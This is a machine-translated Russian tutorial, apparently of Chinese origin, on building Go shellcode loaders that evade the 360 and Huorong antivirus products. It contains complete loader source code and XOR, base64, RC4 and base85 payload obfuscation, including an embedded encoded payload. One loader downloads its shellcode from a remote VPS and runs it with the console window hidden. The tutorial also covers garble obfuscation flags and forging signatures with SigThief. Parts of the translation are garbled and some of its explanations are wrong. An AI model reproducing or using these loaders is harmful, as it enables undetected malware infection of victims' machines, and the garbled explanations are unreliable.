Приемы без убийств особенно важны в реальных наступательных и оборонительных боях. Встаньте на плечи гигантов и научитесь го. Как загрузить шеллкод, не убивая его Соответствующий код упакован в github. https://github.com/Pizz33/GobypassAV-shellcode
Написание загрузчика должно быть реализовано вокруг трех основных функций:
VirtualAlloc
VirtualAlloc: зарезервировать, зафиксировать или изменить состояние области страницы в виртуальном адресном пространстве вызова процесса (выделенная Память инициализируется нулем).
SWAPMem, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode)), 0x1000|0x2000, 0x40)
//0: Начальный адрес Память
//uintptr(len(shellcode)): применить длину Память
//0x1000|0x2000: Атрибуты доступны для чтения, записи и выполнения.
//0x40: Сохраняйте только информацию о распределении и очищайте Память при ее использовании.
VirtualAlloc2
VirtualAlloc2 (внедрение процесса): резервирует, фиксирует или изменяет состояние региона Память в виртуальном адресном пространстве указанного процесса. Функция инициализирует выделенную Память нулем.
SWAPMem, _, _ := VirtualAlloc2.Call(pHandle, 0, uintptr(len(shellcode)), 0x1000|0x2000, 0x40)
//pHandle: Дескриптор процесса. Функция Память располагается в виртуальном адресном пространстве процесса.
//0: Начальный адрес Память
//uintptr(len(shellcode)): применить длину Память
//0x1000|0x2000: Атрибуты доступны для чтения, записи и выполнения.
//0x40: Сохраняйте только информацию о распределении и очищайте Память при ее использовании.
VirtualAllocEx
VirtualAllocEx (внедрение процесса): резервирует, фиксирует или изменяет состояние региона Память в виртуальном адресном пространстве указанного процесса. Функция инициализирует выделенную Память нулем.
SWAPMem, _, _ := VirtualAllocEx.Call(pHandle, 0, uintptr(len(shellcode)), 0x1000|0x2000, 0x40)
//pHandle: Дескриптор процесса. Функция Память располагается в виртуальном адресном пространстве процесса.
//0: Начальный адрес Память
//uintptr(len(shellcode)): применить длину Память
//0x1000|0x2000: Атрибуты доступны для чтения, записи и выполнения.
//0x40: Сохраняйте только информацию о распределении и очищайте Память при ее использовании.
RtlCopyMemory
RtlCopyMemory:источник Память Блочныйсодержаниекопироватьнацеливать Памятькусок(новая версия)
_, _, _ = RtlCopyMemory.Call(SWAPMem, uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
//SWAPMem: указывает на указатель целевого блока Память, в который должны быть переданы байты, и ссылается на обратный адрес пространства Память приложения.
//uintptr(unsafe.Pointer(&shellcode[0])):указать на изкопироватьисточник байтов Память Блочныйуказатель,обратитесь кshellcodeпервый адрес
//uintptr(len(shellcode)): пишем длину Память
RtlCopyBytes
RtlCopyBytes:источник Память Блочныйсодержаниекопироватьнацеливать Памятькусок(Старая версия)
_, _, _ = RtlCopyBytes.Call(SWAPMem, uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
//SWAPMem: указывает на указатель целевого блока Память, в который должны быть переданы байты, и ссылается на обратный адрес пространства Память приложения.
//uintptr(unsafe.Pointer(&shellcode[0])):указать на изкопироватьисточник байтов Память Блочныйуказатель,обратитесь кshellcodeпервый адрес
//uintptr(len(shellcode)): пишем длину Память
RtlMoveMemory
RtlMoveMemory:источник Память Блочныйсодержаниекопироватьнацеливать Памятькусок(Старая версия)
_, _, _ = RtlMoveMemory.Call(SWAPMem, uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
//SWAPMem: указывает на указатель целевого блока Память, в который должны быть переданы байты, и ссылается на обратный адрес пространства Память приложения.
//uintptr(unsafe.Pointer(&shellcode[0])):указать на изкопироватьисточник байтов Память Блочныйуказатель,обратитесь кshellcodeпервый адрес
//uintptr(len(shellcode)): пишем длину Память
Выполнить, создав поток
hThread, _, _ := CreateThread.Call(0, 0, SWAPMem, 0, 0, 0)
_, _, _ = WaitForSingleObject.Call(hThread, uintptr(0xffff))
Golang напрямую использует системный вызов для вызова и выполнения.
syscall.SyscallN(SWAPMem, 0, 0, 0, 0)
Выполнение встроенного кода C
/*
void run(char* shellcode)
{
((void(*)(void))shellcode)();
}
*/import "C"
C.run((*C.char)(unsafe.Pointer(SWAPMem)))
Пожалуйста, ознакомьтесь с официальной документацией для конкретных интерфейсов и методов записи.
https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc
VirtualAlloc
этоWindows Функция API, функция этой функции заключается в резервировании или отправке части страницы в виртуальное адресное пространство вызывающего процесса. Ниже приводится официальный справочный документ по API.
Чтобы вызвать этот API, нам нужно передать четыре значения, а именно: Какой адрес выделен, размер выделенного пространства памяти, атрибуты страницы, на которой расположена выделенная память, и атрибуты защиты страницы памяти.
LPVOID VirtualAlloc{
LPVOID lpAddress,
DWORD dwSize,
DWORD flAllocationType,
DWORD flProtect
};
Первый параметр указывает, где выделить память. Это указатель. Если для него установлено значение NULL, он определяется системой.
Второй параметр указывает объем памяти, который необходимо применить для
третийпараметрflAllocationType
Этот параметр может быть установлен на MEM_RESERVE|MEM_COMMIT
Это значит сначала зарезервировать память, а затем отправить ее.
четвертыйпараметрflProtect
Мы установили его на PAGE_EXECUTE_READWRITE
представляет собой текущий Память Страницы доступны для чтения и записи.осуществлять,Можно найти вgolang.org/x/sys/windows
Достань это из-под этой сумки
RtlMoveMemory
Функция. Эта функция в основном используется для копирования памяти из указанной памяти в другую память и копирования шелл-кода в открытую нами память.
VOID RtlMoveMemory(
VOID UNALIGNED *Destination,
const VOID UNALIGNED *Source,
SIZE_T Length
);
Для вызова этого API нам нужно передать три значения: Указатель адреса назначения необходимо переместить, указатель адреса памяти необходимо скопировать и количество байтов необходимо скопировать.
BOOL VirtualProtect(
[in] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flNewProtect,
[out] PDWORD lpflOldProtect
);
Первые два параметра соответствуют VirtualAlloc, а третий параметр соответствует четвертому параметру VirtualAlloc.
package main
import (
"syscall"
"unsafe"
)
var (
kernel32 = syscall.NewLazyDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.NewProc("VirtualAlloc")
RtlMoveMemory = ntdll.MustFindProc("RtlMoveMemory")
)
func main() {
shellcode := []byte{0x11,0x22}
//расположение шеллкода
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode)), 0x1000|0x2000, 0x40)
//0: Начальный адрес Память
//uintptr(len(shellcode)): применить длину Память
//0x1000|0x2000: Атрибуты доступны для чтения, записи и выполнения.
//0x40: Сохраняйте только информацию о распределении и очищайте Память при ее использовании.
RtlMoveMemory.Call(addr, uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
//SWAPMem: указывает на указатель целевого блока Память, в который должны быть переданы байты, и ссылается на обратный адрес пространства Память приложения.
//uintptr(unsafe.Pointer(&shellcode[0])):указать на изкопироватьисточник байтов Память Блочныйуказатель,обратитесь кshellcodeпервый адрес
//uintptr(len(shellcode)): пишем длину Память
syscall.Syscall(addr, 0, 0, 0, 0)
//использовать syscall.Syscall() Вызовы функций, хранящиеся в этом блоке Память shellcode
}
package main
import (
"github.com/JamesHovious/w32"
"my_createFiber/winApi"
"unsafe"
)
func main() {
winApi.ProcConvertThreadToFiber()
shellcode := []byte{}
shellcodeAddr, _ := w32.VirtualAlloc(0, len(shellcode), w32.MEM_RESERVE|w32.MEM_COMMIT, w32.PAGE_READWRITE)
winApi.ProcRtlCopyMemory(w32.PVOID(shellcodeAddr), w32.PVOID(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
var oldProtection w32.DWORD = 0
w32.VirtualProtect(shellcodeAddr, len(shellcode), w32.PAGE_EXECUTE_READ, &oldProtection)
fiberAddr := winApi.ProcCreateFiber(0, w32.PVOID(shellcodeAddr), w32.PVOID(unsafe.Pointer(nil)))
winApi.ProcSwitchToFiber(w32.PVOID(fiberAddr))
}
Поскольку функции шеллкода по умолчанию слишком очевидны, их можно реализовать за считанные секунды.
Небольшая обработка XOR может обойти 360, но для приземления требуется несколько секунд. Возможно, обнаружены некоторые функции Windows API.
package main
import (
"my_createFiber/winApi"
"unsafe"
"github.com/JamesHovious/w32"
)
func main() {
winApi.ProcConvertThreadToFiber()
shellcode := []byte{}
shellcodeAddr, _ := w32.VirtualAlloc(0, len(shellcode), w32.MEM_RESERVE|w32.MEM_COMMIT, w32.PAGE_READWRITE)
for i := 0; i < len(shellcode); i++ {
shellcode[i] ^= 66
}
winApi.ProcRtlCopyMemory(w32.PVOID(shellcodeAddr), w32.PVOID(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
var oldProtection w32.DWORD = 0
w32.VirtualProtect(shellcodeAddr, len(shellcode), w32.PAGE_EXECUTE_READ, &oldProtection)
fiberAddr := winApi.ProcCreateFiber(0, w32.PVOID(shellcodeAddr), w32.PVOID(unsafe.Pointer(nil)))
winApi.ProcSwitchToFiber(w32.PVOID(fiberAddr))
}
package main
import (
"encoding/base64"
"fmt"
"os/exec"
"syscall"
"unsafe"
"github.com/lxn/win"
"golang.org/x/sys/windows"
)
var (
get = exec.Command("cmd", "/c", "curl", «http://адрес VPS»)
)
func main() {
// проходить base64 и XOR Расшифровать shellcode содержание
win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE)
encryptedShellcode, err := get.Output()
if err != nil {
fmt.Println("Error getting encrypted shellcode:", err)
return
}
encryptedShellcodeStr := string(encryptedShellcode)
decodedShellcode, err := base64.StdEncoding.DecodeString(encryptedShellcodeStr)
if err != nil {
fmt.Println("Error decoding shellcode:", err)
return
}
for i := 0; i < len(decodedShellcode); i++ {
decodedShellcode[i] ^= 0x77
}
// получать kernel32.dll в VirtualAlloc функция
kernel32, _ := syscall.LoadDLL("kernel32.dll")
VirtualAlloc, _ := kernel32.FindProc("VirtualAlloc")
// Назначьте Память и напишите shellcode содержание
allocSize := uintptr(len(decodedShellcode))
mem, _, _ := VirtualAlloc.Call(uintptr(0), allocSize, windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)
if mem == 0 {
panic("VirtualAlloc failed")
}
buffer := (*[0x1_000_000]byte)(unsafe.Pointer(mem))[:allocSize:allocSize]
copy(buffer, decodedShellcode)
// осуществлять shellcode
syscall.Syscall(mem, 0, 0, 0, 0)
}
Но таким образом Huorong можно реализовать напрямую за секунды, а 360 работает без всякого смысла. Когда код содержит этот абзац, он будет сразу убит, даже если это просто запрос обычного доменного имени, такого как Baidu.
var (
get = exec.Command("cmd", "/c", "curl", "http://www.baidu.com")
)
Тогда давайте изменим его по-другому, используя Go Входит в комплект net/http
пакет для получения удаленного соединения и чтения содержимого удаленного адреса без использования exec
func main() {
resp, err := http.Get(«http://адрес VPS»)
if err != nil {
fmt.Println("Error getting remote connection:", err)
return
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
fmt.Println("Error reading from remote connection:", err)
return
}
fmt.Println(string(body))
}
Конечный результат программы-компилятора
func AesEcbEncrypt(data, key []byte) []byte {
cipher, _ := aes.NewCipher(generateAesKey(key))
length := (len(data) + aes.BlockSize) / aes.BlockSize
plain := make([]byte, length*aes.BlockSize) copy(plain, data)
pad := byte(len(plain) - len(data))
for i := len(data); i < len(plain); i++ {
plain[i] = pad
}
encrypted := make([]byte, len(plain))
for bs, be := 0, cipher.BlockSize();
bs <= len(data); bs, be = bs+cipher.BlockSize(), be+cipher.BlockSize() {
cipher.Encrypt(encrypted[bs:be], plain[bs:be])
}
return encrypted
}
Сначала выполните шестнадцатеричную обработку полезной нагрузки.
package main
import (
"encoding/hex"
"fmt"
"io/ioutil"
"os"
"strings"
)
func main() {
filename := os.Args[1]
data, _ := ioutil.ReadFile(filename)
ncode := hex.EncodeToString(data)
ncode = strings.Replace(ncode, "\n", "", -1)
fmt.Println("code:", ncode)
}
Заполните обработанную шестнадцатеричную строку ниже, скомпилируйте и запустите
package main
import (
"encoding/hex"
"fmt"
"golang.org/x/sys/windows"
"log"
"syscall"
"unsafe"
)
func main() {
// Прочитать строку в шестнадцатеричной кодировке из документа
encodedShellcode := ""
decodedShellcode, err := hex.DecodeString(encodedShellcode)
if err != nil {
log.Fatalf("Failed to decode shellcode: %v", err)
}
// Подайте заявку на пространство Память, которое можно читать, писать и изучать
addr, err := windows.VirtualAlloc(
0,
uintptr(len(decodedShellcode)),
windows.MEM_COMMIT|windows.MEM_RESERVE,
windows.PAGE_EXECUTE_READWRITE,
)
if err != nil {
log.Fatalf("Failed to allocate memory: %v", err)
}
// Скопируйте шеллкод в запрошенное место Память
copy((*[1 << 30]byte)(unsafe.Pointer(addr))[:len(decodedShellcode)], decodedShellcode)
// осуществлятьshellcode
var oldProtect uint32
err = windows.VirtualProtect(
addr,
uintptr(len(decodedShellcode)),
windows.PAGE_EXECUTE_READ,
&oldProtect,
)
if err != nil {
log.Fatalf("Failed to change memory protection: %v", err)
}
ret, _, err := syscall.Syscall(addr, 0, 0, 0, 0)
if err.Error() != "The operation completed successfully." {
log.Fatalf("Failed to execute shellcode: %v", err)
}
fmt.Printf("Shellcode executed successfully. Return value: %d\n", ret)
}
Сначала используйте скрипт Python для обработки payload.c
документ
import base64
originalShellcode = b"\xfc\xe8\x89\x00"
encryptedShellcode = bytes([byte ^ 0xFF for byte in originalShellcode])
encodedShellcode = base64.b64encode(encryptedShellcode).decode('utf-8')
print(encodedShellcode)
Заполните выходное содержимое в следующем месте для компиляции.
package main
import (
"encoding/base64"
"syscall"
"unsafe"
"golang.org/x/sys/windows"
)
func main() {
// проходить base64 и XOR Расшифровать shellcode содержание
encryptedShellcode := "A7d8Gw8XN////76uvq+trqm3zi2at3Stn7d0ree3dK3ft3SNr7fwSLW1ss42t84/U8Oeg/3T374+NvK+/j4dEq2+rrd0rd90vcO3/i+Zfofn9P2KjXR/d////7d6P4uYt/4vr3S357t0v9+2/i8cqbcANr50y3e3/imyzja3zj9Tvj428r7+Pscfig6z/LPb97rGLoonp7t0v9u2/i+ZvnTzt7t0v+O2/i++dPt3t/4vvqe+p6Gmpb6nvqa+pbd8E9++rQAfp76mpbd07RawAAAAopX/tkGIlpGWkZqL/76ptnYZs3YOvkWziNn4ACq3zja3zi2yzj+yzja+r76vvkXFqYZYACoWbP///6W3dj6+R0T+//+yzja+rr6ulfy+rr5FqHZgOQAqFIakt3Y+t84ttnYnss42rZf/zT97ra2+RRSq0cQAKrd2Obd8PK+V9aC3dg5F4P///5X/l3/M//+2dh++Rvv///++RYq5YXkAKrd2Drd2JbY4PwAAAACyzjatrb5F0vnnhAAqej/wemL+//+3ADDwe3P+//8UTBYb/v//F30AAADQjJqRjJCNjNKSlpHRlYz/c+3E0xVwtP+ApVnzO+p1jev92qT3Uha95ujzW9R0pB+T1tLqz3M7T4bojcRBeYZAxqvqVklSBew8vF37KQhZaTk57QytHP39eolpGbkIiM37Gr387P0c/E36iWkcnLxN+HycvW376Pj5OaqJqdtJaL0MrMyNHMyd/XtLersrPT35OWlJrfuJqclJDW37yXjZCSmtDGz9HP0cvLzM/Rzc7N36yemZ6NltDKzMjRzMny9f9J1nD115WW/zOlre6c8XRKvTPzSFlvBWQ7Xe3Z2n9HRaMWsEXVAmq35RIGhR/5RHkjgDZQ0XJmnmx4PYSHoWumxG2gjD7itHpCnmjtxTIkhp4Bn0FopivbLA9HWPRUa4OX1YxFjr0akpRpTWBk9cfKK+mLZELu7izwC1MyRZb/5Fhlm8hjll2IsYujj370H4XyT1gnmP++QQ9KXakAKrfONkX//7//vkf/7///vka/////vkWnW6waACq3bKyst3YYt3YOt3Ylvkf/3///tnYGvkXtaXYdACq3fDvfej+LSZl0+Lf+PHo/iiinp6e3+v////+vPBeAAgAAjJqNiZacmtKUjY2QkJ6Ml9LOzM/IyM/Px87H0YyX0Z6PlpiI0YuakZyakYucjNGckJL/+goe/w=="
decodedShellcode, _ := base64.StdEncoding.DecodeString(encryptedShellcode)
for i := 0; i < len(decodedShellcode); i++ {
decodedShellcode[i] ^= 0xFF
}
// получать kernel32.dll в VirtualAlloc функция
kernel32, _ := syscall.LoadDLL("kernel32.dll")
VirtualAlloc, _ := kernel32.FindProc("VirtualAlloc")
// Назначьте Память и напишите shellcode содержание
allocSize := uintptr(len(decodedShellcode))
mem, _, _ := VirtualAlloc.Call(uintptr(0), allocSize, windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)
if mem == 0 {
panic("VirtualAlloc failed")
}
buffer := (*[0x1_000_000]byte)(unsafe.Pointer(mem))[:allocSize:allocSize]
copy(buffer, decodedShellcode)
// осуществлять shellcode
syscall.Syscall(mem, 0, 0, 0, 0)
}
Видно, что антитоксичность уже очень хорошая, и обычный набор из трех частей ее может пройти.
package main
import (
"crypto/rc4"
"encoding/hex"
"fmt"
"github.com/eknkc/basex"
)
func main() {
key := []byte("demaxiya")
message := "\xfc\x48\x83\" // исходное сообщение
// XOR действовать
xordMessage := make([]byte, len(message))
for i := 0; i < len(message); i++ {
xordMessage[i] = message[i] ^ 0xff
}
// RC4 шифрование
cipher, _ := rc4.NewCipher(key)
rc4Message := make([]byte, len(xordMessage))
cipher.XORKeyStream(rc4Message, xordMessage)
// Преобразовать в шестнадцатеричный
hexCiphertext := make([]byte, hex.EncodedLen(len(rc4Message)))
n := hex.Encode(hexCiphertext, rc4Message)
hexCiphertext = hexCiphertext[:n]
// Base85 кодирование
base85, _ := basex.NewEncoding("0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!#$%&()*+-;<=>?@^_`{|}~")
encodedMessage := base85.Encode(hexCiphertext)
fmt.Println(encodedMessage)
}
Декодируйте и преобразуйте зашифрованный текст в кодировке Base85 в зашифрованный текст RC4, затем используйте RC4 для расшифровки и, наконец, выполните расшифровку XOR, чтобы получить исходное сообщение.
package main
import (
"crypto/rc4"
"encoding/hex"
"syscall"
"unsafe"
"github.com/eknkc/basex"
"github.com/lxn/win"
"golang.org/x/sys/windows"
)
func main() {
win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE)
key := []byte("demaxiya")
encodedMessage := "1m>R;_Qw{V848K~V>8M7Q+ES##)Q;K5aVkstg9CWSCt6f?FWpTo`M(QMl`QjG86)Jb29M(8FZ6gdafG0X};3`AtC^b#yXG7DCSB82#)w{&6&%>P}l7?(@inOmb2Ol;bP4TVAZ%->Rm5=>vbi>3OSIf)y1%(WXV0#H^jxnZlm-I@OgE7&5Q&W#mJ9r@7m(i2ur<4rcSw*`Gth(QaquAf39>S>A2eC$GnV6&tIQ8+2@{bAKYynp}XQ}"
// Новости после кодирования
// Base85 декодирование
base85, _ := basex.NewEncoding("0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!#$%&()*+-;<=>?@^_`{|}~")
hexCiphertext, _ := base85.Decode(encodedMessage)
// Преобразовать в двоичный формат
rc4Message := make([]byte, hex.DecodedLen(len(hexCiphertext)))
n, _ := hex.Decode(rc4Message, hexCiphertext)
rc4Message = rc4Message[:n]
// RC4 Расшифровать
cipher, _ := rc4.NewCipher(key)
xordMessage := make([]byte, len(rc4Message))
cipher.XORKeyStream(xordMessage, rc4Message)
// XOR действовать
message := make([]byte, len(xordMessage))
for i := 0; i < len(xordMessage); i++ {
message[i] = xordMessage[i] ^ 0xff
}
kernel32, _ := syscall.LoadDLL("kernel32.dll")
VirtualAlloc, _ := kernel32.FindProc("VirtualAlloc")
// Назначьте Память и напишите shellcode содержание
allocSize := uintptr(len(message))
mem, _, _ := VirtualAlloc.Call(uintptr(0), allocSize, windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)
if mem == 0 {
panic("VirtualAlloc failed")
}
buffer := (*[0x1_000_000]byte)(unsafe.Pointer(mem))[:allocSize:allocSize]
copy(buffer, message)
// осуществлять shellcode
syscall.Syscall(mem, 0, 0, 0, 0)
}
параметры компиляции GoИзбегайте убийственных эффектов
параметр | параметриллюстрировать | Избегайте убийственных эффектов | Примечание |
---|---|---|---|
-race | Сборник обнаружения расы | очень большой | Добавлен параметр гонки,документ больше оригинала,Раньше было хорошо, а сейчас ужасно |
-ldflags ‘-s -w’ | Удалить информацию о компиляции | почти нет | Часто используемые команды компиляции, уменьшают размер, но имеют черные ящики. |
-ldflags ‘-H windowsgui’ | Скрыть окно | в целом | Обычно используетсякомпилировать Заказ,Анти-убийственный эффект в целом,уменьшатьдокументобъем+Скрыть окно |
Скрыть черную рамку Добавить реализацию кода,и использоватьgo build -ldflags="-s -w"
руководитькомпилировать,лучший эффект
package main
import "github.com/gonutz/ide/w32"
func ShowConsoleAsync(commandShow uintptr) {
console := w32.GetConsoleWindow()
if console != 0 {
_, consoleProcID := w32.GetWindowThreadProcessId(console)
if w32.GetCurrentProcessId() == consoleProcID {
w32.ShowWindowAsync(console, commandShow)
}
}
}
func main() {
ShowConsoleAsync(w32.SW_HIDE)
}
package main
import "github.com/lxn/win"
func main(){
win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE)
}
Раньше у него была хорошая антивирусная защита, но сейчас его в основном перехватывает антивирусное ПО. Не рекомендуется его использовать для повышения уровня обнаружения.
garble -tiny -literals -seed=random build -ldflags="-w -s -H windowsgui" -race go-sc.go
параметробъяснять:
искажение (библиотека путаницы):
-tiny Удалить дополнительную информацию
-literals запутанный текст
-seed=random base64кодированиеслучайное начальное число
Зачем вам нужно добавлять ресурсы? Потому что если какое-то антивирусное программное обеспечение встретит незнакомую программу, даже безобидная программа будет занесена в список подозрительных. Добавление ресурсов может повысить доверие к программе и снизить значение энтропии.
https://github.com/secretsquirrel/SigThief
python sigthief.py -i 360Safe.exe -t notepad.exe -o tes.exe
-i Подписано документом
-t Нужно подделать документ
-o Для выходного документа
https://www.trustasia.com/solution/sign-tools
Resource hacker
https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc
https://github.com/7BitsTeam/EDR-Bypass-demo
https://www.yuque.com/aufeng/aufeng_good/aq09p0#yNorm
https://mp.weixin.qq.com/s/xiFbSE6goKFqLAlyACi83A
https://github.com/timwhitez/Doge-Loader
https://github.com/TideSec/GoBypassAV
https://www.crisprx.top/archives/515
https://github.com/Ne0nd0g/go-shellcode